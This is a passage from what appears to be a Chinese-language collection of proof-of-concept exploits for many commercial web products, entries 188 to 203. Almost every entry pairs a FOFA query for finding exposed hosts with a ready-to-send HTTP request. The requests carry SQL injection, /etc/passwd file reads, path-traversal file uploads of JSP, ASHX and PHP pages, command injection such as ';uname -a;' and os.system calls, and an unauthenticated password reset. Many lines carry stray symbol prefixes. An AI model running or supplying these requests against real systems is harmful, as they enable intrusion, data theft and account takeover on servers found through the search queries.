0 }7 A) z* z$ nContent-Type: application/x-www-form-urlencoded


& P9 J7 {) \+ m. J" Aobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


% i, T$ d9 v; X7 g5 i1 P' ]188. 叁体-佳会视频会议 attachment 任意文件读取
4 G' ?! _$ u9 `: Q5 @& n4 {version <= 3.9.7
9 O/ V" T* V) N% C) S1 H, BFOFA：body="/system/get_rtc_user_defined_info?site_id"
! n) E) c! ^( b2 F. VGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ p0 k2 q$ E1 g4 @* |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% X5 j- q% x1 S, d0 [: {. a6 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
5 I% A3 I. J3 R% Z1 k. ^- H& V

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
3 ?: |- H/ q4 r& _6 T8 |( VFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
2 ^; U) k* K8 o* h8 DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 U$ c7 R1 `' u1 C( YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 a0 G5 E0 }* S$ C! MAccept-Language: zh-CN,zh;q=0.9
Connection: close


6 F% S5 }$ Q- M8 [190. 短视频矩阵营销系统 poihuoqu 任意文件读取
: ]' G$ N  @5 V/ c& s' K& `, yFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
# C1 i% G' W, {, dHost: your-ip
" W$ }2 {7 |8 i$ H! I# @$ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
$ E! c4 T7 w! h' hContent-Type: application/x-www-form-urlencoded
. ]# u/ O! |( Z/ B' W( D' Z" `Accept-Encoding: gzip, deflate
$ ]' e- y5 }" k) ]+ \: XAccept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
3 U2 x5 b* a: W* W: `( S  R0 _/ T' V
5 g0 u- k6 O. I: s: {% A3 @' ~
. A* O# x9 l3 q8 `3 p4 @' _7 Q191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
' f. G% e6 r. o* U" YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
: x  u: W2 c6 P7 b& _; Z% {

6 G; y, f* g$ ~3 e, y3 j192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( S2 O; j# u. t( ~" E) NFOFA：title="用户登录_富通天下外贸ERP"
' h& T: x  Q, p( n5 a( q) @  bPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
; p; C% K, Z9 V. t$ BHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ k1 w9 }# B8 N8 O  A0 ^Content-Type: application/x-www-form-urlencoded

4 O8 ]% P1 Y1 y8 t* X( D
<% @ webhandler language="C#" class="AverageHandler" %>
) y7 u. ?" {$ N/ }using System;
using System.Web;
0 q. x: N4 @9 e- [& M% Z. z6 dpublic class AverageHandler : IHttpHandler
5 n+ l/ r# H" W{
public bool IsReusable
6 {5 }+ W$ r& e* q' \, {  R6 T* M{ get { return true; } }
) F. |+ x- C# s$ epublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
  B7 z9 o$ B/ p$ U" G/ e}

6 \* J7 @% t* B' @
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
8 D6 N- _3 V. UHost:
Cookie: PHPSESSID=2333333333333;
  p( v8 u; e# B6 W3 EContent-Type: application/x-www-form-urlencoded
& `5 Y6 a" |0 X# M" |1 U4 JUser-Agent: Mozilla/5.0
( ~( D* t1 R# I- T# B" l! c

2 D% F7 [* T8 c5 C* WPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
6 D& G' s) x' J' p1 y2 OHost:
/ k! f7 |1 S# b& V4 OUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
9 q  v% r' |. g8 C8 WAccept: */*
2 [9 K& |& Y- n6 |: YConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

. ^. i3 ~% X* ^( w& ]param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
) ]7 h  S4 C9 U7 d
' a/ y. Y( f/ \9 u
GET /master/img/config HTTP/1.1
Host:
3 V: f/ r1 B" a% W/ iUser-Agent: Mozilla/5.0

% X% y2 o1 l9 Y
: E) s, G: [3 r& p- i194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
* `; a+ a% [# w
+ m) |; _) q) E" l' n4 T) @2 wPOST /servlet/uploadAttachmentServlet HTTP/1.1
8 ^, J2 d2 m6 t6 mHost: host
0 e: J: S( a5 Q) n% q+ b8 b6 j+ rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
4 d3 Z7 u8 _& V) k) e! WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ C1 r# T% x( W& W) jConnection: close
' u  b: `  H4 i) r+ |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
* M  W7 ]/ Z# }1 w" p* U------WebKitFormBoundaryKNt0t4vBe8cX9rZk

3 d( _. R' O$ U4 |$ YContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
' O* l6 `- K7 T8 `' DContent-Type: text/plain
; @9 A* L0 @# j6 X# C5 D  v<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
# @: n/ t4 X+ ^ {"iq":{"query":{"UpdateType":"mail"}}}
# z  h4 F( T- Z* l------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
5 \1 Y  A( {! G# U( N1 V

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
! y" F( ]6 ^$ H; \8 ^8 X. Q; KFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
, }$ P9 V) K- m2 k& v0 d; ^' N' ECache-Control: no-cache
% z& d* r) \& y- b- AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
' D3 O' v, `$ kAccept-Language: zh-CN,zh;q=0.9
6 T6 x& A$ J" Z$ a' B# }Connection: close
9 o  m3 q; p2 ^# r  F, @# @/ J$ FContent-Type: application/x-www-form-urlencoded
7 U2 B9 P+ {: BContent-Length: 68
1 f: `' A( @0 s1 v1 o& `2 g
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


( i+ _) k. n9 H4 G! o196. 河南省风速科技统一认证平台密码重置
7 A. }, S: L7 X7 \FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
6 f7 p0 ~& t# l9 L3 `( k! a2 x  W  ]POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
, d% |1 \; d/ h, f% x- v8 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
  f# B2 K+ l% \: ]; k5 y- C0 NHost:
5 I* {% S1 _9 |# A0 L& z) VAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
: f4 M! O( U0 vConnection: close
# D: k4 _4 O( h" C* a2 u+ c/ T0 K
{"xgh":"test","newPass":"test666","email":""}
' |1 w6 H0 H& y5 s

* u) y% d0 U6 J% _( |* r
: k7 W3 @: U) A  ~: K197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
2 ]9 E5 a4 I" r' OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
7 C% R4 u. H$ c- S5 ZConnection: close

) L' P/ o0 X5 F  u7 Y( V8 i4 L3 b

198.  阿里云盘 WebDAV 命令注入
% f. a& t2 D9 Z# v7 i4 r8 L. fCVE-2024-29640
" l; Z' }7 g* I, B4 l" pGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
( I% g! W+ Y% R8 Z& u6 hCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
4 b8 |0 e- o3 i+ H; w1 f) B1 hAccept-Encoding: gzip, deflate
9 Q( _9 A+ c$ y! ^9 d8 {. hAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
$ P* `" n1 x! K2 u; X) G4 \$ jConnection: close

$ T% C, p4 D" X, s
199. cockpit系统assetsmanager_upload接口 文件上传
+ H/ [" a4 W* T) s! B5 ?
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
; z. ?* W4 a% m1 r" W7 D+ @GET /auth/login?to=/ HTTP/1.1

" ^7 X. D4 h1 V1 b响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

( F; _) O; B  ]2.使用刚才上一步获取到的jwt获取cookie：
/ E* o4 I. ]2 z4 q# C
  y% e& R0 }0 OPOST /auth/check HTTP/1.1
' d2 a" F4 m- d0 w4 w  X, G3 [9 YContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
5 L2 h) N8 e  q2 f9 h9 \
响应：200，返回值:
' K: d3 _8 i0 S, G9 ZSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
5 _* p( u) S' I! ^Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
( X: \+ `, D. Y, }* p5 d7 A9 mContent-Type: text/php
! D& [  \; B7 A+ Y& d' X3 n
<?php echo "tttt";unlink(__FILE__);?>
( K+ E  d5 W/ q; t) n4 N-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--

7 _7 w3 Z% g5 h
/storage/uploads/tttt.php

& X3 k% _- I, l: C) W200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
' ~5 s3 D+ @0 j+ bUpgrade-Insecure-Requests: 1
; R: T' [6 T& w: ^) |+ y2 _Cache-Control: max-age=0
( K- J. G" M2 j4 f( k4 C; dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ t. S: \6 ]  V
: ?0 t. @' S' N: }: P
' j  l& t3 u+ a+ F* [/ `9 v5 T201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 b4 Y$ j/ j# p( Y. w: DAccept-Encoding: gzip, deflate
& t3 u) T: b& ?/ |) D* F) D! gAccept-Language: zh-CN,zh;q=0.9
% M9 C$ J' b- Q) m$ tConnection: close
! {( T8 t4 \  c/ S- O% B
5 C4 a* P  ]- BTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

2 c+ E1 c1 c' u2 \% C- C
* a/ w' s' P& N5 A+ A% ]202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
8 x# q8 v: q" R3 J* s获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
4 H6 b' a7 d. OHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
, y7 }8 t, A- B6 W
- |/ E8 a/ m1 J% {6 S0 b
替换__VIEWSTATE和__EVENTVALIDATION值
0 ^. k, B" q+ l! O* jPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
* H7 M3 w: J4 e$ m( A+ E4 N/ O( lContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
- k8 _& d5 \0 U# ^% w' O/ `
3 _/ \! f4 y# e2 l' Z% ^2 u-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
3 _8 t# D9 P( D& S8 o5 u4 y9 H2 o
__EVENTVALIDATION
# I. O5 Q! i2 h, o" m-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
: b5 c9 ~6 r9 l; d8 ^0 k7 vContent-Type: text/plain

Hello World!
" O* [+ r5 B% j% [-----------------------------786435874t38587593865736587346567358735687
/ x2 K, A. ]. S+ I3 E# ~; w. U' o7 h* I0 DContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
- J5 W( h- ^: j# f
& s* H' v) a$ L0 J, v3 w. H4 |& N上传图片
-----------------------------786435874t38587593865736587346567358735687
( Q- K$ n# v7 w$ y) wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
9 V' \  b  K7 h- n" K
9 q6 W8 W8 Q. `
* o: P  l2 {% B0 M# l" [-----------------------------786435874t38587593865736587346567358735687
% W; X! A% K  u6 ?" c, GContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

( d' Z# S+ A4 B/ i5 ?
4 G8 W1 ?; f" U1 w, |( H4 m-----------------------------786435874t38587593865736587346567358735687--
5 a7 J6 E, }' b1 Q$ L' K9 d# \4 y
; @. _8 u; B, K$ |& K" m
/_data/Uploads/1123.txt
! j/ i  |: S0 c% @+ J1 \
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
7 \* t# X/ i) R$ ]; c4 L3 r& ]# NPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
( L( }: f3 u5 ~Host: x.x.x.x
Accept-Encoding: gzip
9 |2 d4 b- A4 M3 T. t/ xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. p  M, p: I8 CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

3 A, k3 R; p! b0 s- ~------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
6 Q5 S/ t2 L1 X. ?0 c( BContent-Type:image/jpeg
  b0 V/ ^0 i. W% Z5 A" [  K2 n
2 b& T7 q) N/ x7 l. s4 w  h<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


8 @0 a5 e8 B% Z, r4 w0 Q6 l1 U( v